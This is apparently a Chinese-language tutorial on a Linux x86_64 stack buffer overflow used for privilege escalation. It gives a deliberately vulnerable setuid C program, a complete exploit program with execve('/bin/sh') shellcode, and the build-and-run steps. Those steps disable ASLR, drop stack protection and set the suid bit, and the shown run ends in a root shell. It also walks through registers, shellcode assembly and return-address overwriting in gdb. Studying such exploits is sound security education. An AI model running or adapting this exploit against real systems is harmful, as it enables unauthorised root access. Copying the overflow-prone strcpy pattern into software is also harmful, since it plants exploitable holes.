/* buger.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(void) { char buffer[128] = {0}; char *envp = NULL; printf("buffer address is: %p\n", &buffer); envp = getenv("KIRIKA"); if (envp) strcpy(buffer, envp); return 0; }代表有漏洞的可执行程序,并且该文件编译后的可执行文件设置有suid位,可以被利用提权
/* hacker.c */ #include <stdlib.h> #include <unistd.h> #include <string.h> extern char **environ; int main(int argc, char **argv) { char large_string[256] = {0}; long *long_ptr = (long *)large_string; char shellcode[] = {"\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"}; unsigned long int bufaddr = strtoul(argv[2], NULL, 16); int i; for (i = 0; i < 6; i++) { large_string[152 + i] = bufaddr & 0xff; bufaddr >>= 8; } for (i = 0; i < 152; i++) large_string[i] = 'A'; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; setenv("KIRIKA", large_string, 1); execle(argv[1], argv[1], NULL, environ); return 0; }代表恶意可执行程序,利用buger程序实现提权
运行:
1: echo 0 > /proc/sys/kernel/randomize_va_space 2: gcc -z execstack -fno-stack-protector buger.c -o buger -g 3: chmod +s buger 4: gcc -z execstack -fno-stack-protector hacker.c -o hacker -g 5: ./hacker ./buger 0xff buffer address is: 0x7fffffffddb0 Segmentation fault (core dumped) 6: ./hacker ./buger 0x7fffffffddb0 buffer address is: 0x7fffffffddb0 # exit
第一步的意义是: 防止exec每次执行时,缓冲区的地址都在变动
echo 2 > /proc/sys/kernel/randomize_va_space root@shadow:~/Desktop/misc/shellcode# ./buger buffer address is: 0x7ffe842b2b80 root@shadow:~/Desktop/misc/shellcode# ./buger buffer address is: 0x7ffc1144cc80 echo 0 > /proc/sys/kernel/randomize_va_space root@shadow:~/Desktop/misc/shellcode# ./buger buffer address is: 0x7fffffffde40 root@shadow:~/Desktop/misc/shellcode# ./buger buffer address is: 0x7fffffffde40
0x00: 函数调用过程
rax(accumulator): 可用于存放函数返回值
rbp(base pointer): 用于存放执行中的函数对应的栈底地址
rsp(stack poinger): 用于存放执行中的函数对应的栈顶地址
rip(instruction pointer): 指向当前执行指令的下一条指令
/* rbp.c */ #include <stdio.h> int fun(void) { return 5; } int main(int argc, char *argv[]) { return fun(); } /* rbp.c 所对应的汇编代码 */ │0x4004ed <fun> push %rbp ;把main函数的rbp压栈,目的是fun函数退出时恢复main的执行环境 >│0x4004ee <fun+1> mov %rsp,%rbp ;把rsp赋值给rbp,完成fun函数的栈空间 │0x4004f1 <fun+4> mov $0x5,%eax ;把返回值赋值给eax │0x4004f6 <fun+9> pop %rbp ;取回main函数的rbp值 │0x4004f7 <fun+10> retq ;fun函数执行完,返回main执行 │0x4004f8 <main> push %rbp ;把调用main的代码的rbp压栈 │0x4004f9 <main+1> mov %rsp,%rbp ;把rsp赋值给rbp,完成main函数的栈空间 │0x4004fc <main+4> sub $0x10,%rsp ;分配局部变量16个字节(理论上只要分配8个字节) │0x400500 <main+8> mov %edi,-0x4(%rbp) ; │0x400503 <main+11> mov %rsi,-0x10(%rbp) ; B+ │0x400507 <main+15> callq 0x4004ed <fun> ;把下一条指令地址压栈,rip指向被调用函数的代码 │0x40050c <main+20> leaveq ;恢复调用者的栈环境,这个过程会把main开始时push的值pop出 │0x40050d <main+21> retq ;将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序 gcc rbp.c -o rbp -g gdb -tui rbp (gdb) layout asm (gdb) b main (gdb) run (gdb) stepi (gdb) nexti (gdb) x/6xg $rsp 0x7fffffffdeb0: 0x00007fffffffded0 0x000000000040050c 0x7fffffffdec0: 0x00007fffffffdfb8 0x0000000100000000 0x7fffffffded0: 0x0000000000000000 0x00007ffff7a36ec5 (gdb) i r esp esp 0xffffdeb0 -8528 (gdb) i r ebp ebp 0xffffdeb0 -8528整个流程如下:
0x01: shellcode是什么
;shellcode.asm BITS 64 ; run execve("/bin//sh", NULL, NULL) Linux x86_64 Shellcode ; Shellcode size 34 bytes global _start section .text _start: xor rax,rax ;clear rax add rax,0x3b ;syscall_64.tbl ==> 59 64 execve stub_execve xor rdi,rdi ;clear rdi push rdi ;push stack (rsp -= 8) mov rdi,0x68732f2f6e69622f ;hs//nib/ ==> /bin//sh push rdi ;push stack (rsp -= 8) lea rdi,[rsp] ;rdi = rsp (%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数) xor rsi,rsi ;clear rsi xor rdx,rdx ;clear rdx syscallshellcode是一段机器码,以完成特定的任务,比如我们现在有个任务是要弹出shell,在c语言里只要execve("/bin//sh", NULL, NULL)就可以了
nasm -f elf64 shellcode.asm -g -F stabs -o shellcode.o for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo \x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x31....\x0f\x05 这个就是我们的shellcode, 总共34个字节
objdump -d shellcode.o shellcode.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 48 31 c0 xor %rax,%rax 3: 48 83 c0 3b add $0x3b,%rax 7: 48 31 ff xor %rdi,%rdi a: 57 push %rdi b: 48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi 12: 2f 73 68 15: 57 push %rdi 16: 48 8d 3c 24 lea (%rsp),%rdi 1a: 48 31 f6 xor %rsi,%rsi 1d: 48 31 d2 xor %rdx,%rdx 20: 0f 05 syscall通过ld链接,变成可执行文件
ld -o shellcode shellcode.o -g ./shellcode
0x02: 栈溢出覆盖rip
gdb -tui buger (gdb) b main Breakpoint 1 at 0x4005d8: file buger.c, line 7. (gdb) run Starting program: /root/Desktop/buger Breakpoint 1, main () at buger.c:7 (gdb) p &buffer $1 = (char (*)[128]) 0x7fffffffde40 (gdb) i r rsp rsp 0x7fffffffde40 0x7fffffffde40 (gdb) gdb -tui buger //调试时查看汇编代码不花屏 gdb> layout asm //查看汇编代码 ┌──────────────────────────────────────────────────────────────────┐ │0x4005cd <main> push %rbp | │0x4005ce <main+1> mov %rsp,%rbp | │0x4005d1 <main+4> sub $0x90,%rsp | B+>│0x4005d8 <main+11> lea -0x90(%rbp),%rsi |在调用main函数之前,会把下一条指令的地址压栈
0x03: 设置shellcode地址
main函数执行完,就会跳到这个地址执行shellcode
The first major difference is the size of memory address. No surprise
here :) So memory addresses are 64 bits long, but user space only uses
the first 47 bits; keep this in mind because if you specified an
address greater than 0x00007fffffffffff
所以我们要把buffer的首地址按逆字节序写入栈中 这里是:\x40\xde\xff\xff\xff\x7f
通过gdb调试到main的retq指令,既leaveq指令执行完就停下来
(gdb) b main (gdb) run (gdb) n (gdb) nexti (gdb) i r rsp rsp 0x7fffffffde98 0x7fffffffde98 (gdb) x/2xg 0x7fffffffde98 0x7fffffffde98: 0x00007fffffffddd0 0x0000000000000000 (gdb) x/80dbx 0x7fffffffde98 0x7fffffffde98: 0xd0 0xdd 0xff 0xff 0xff 0x7f 0x00 0x00因为cpu使用小端模式,所以高位在高地址,所以地址要逆序写入,如果地址正序写入
最后附一张我所理解的程序调用流程图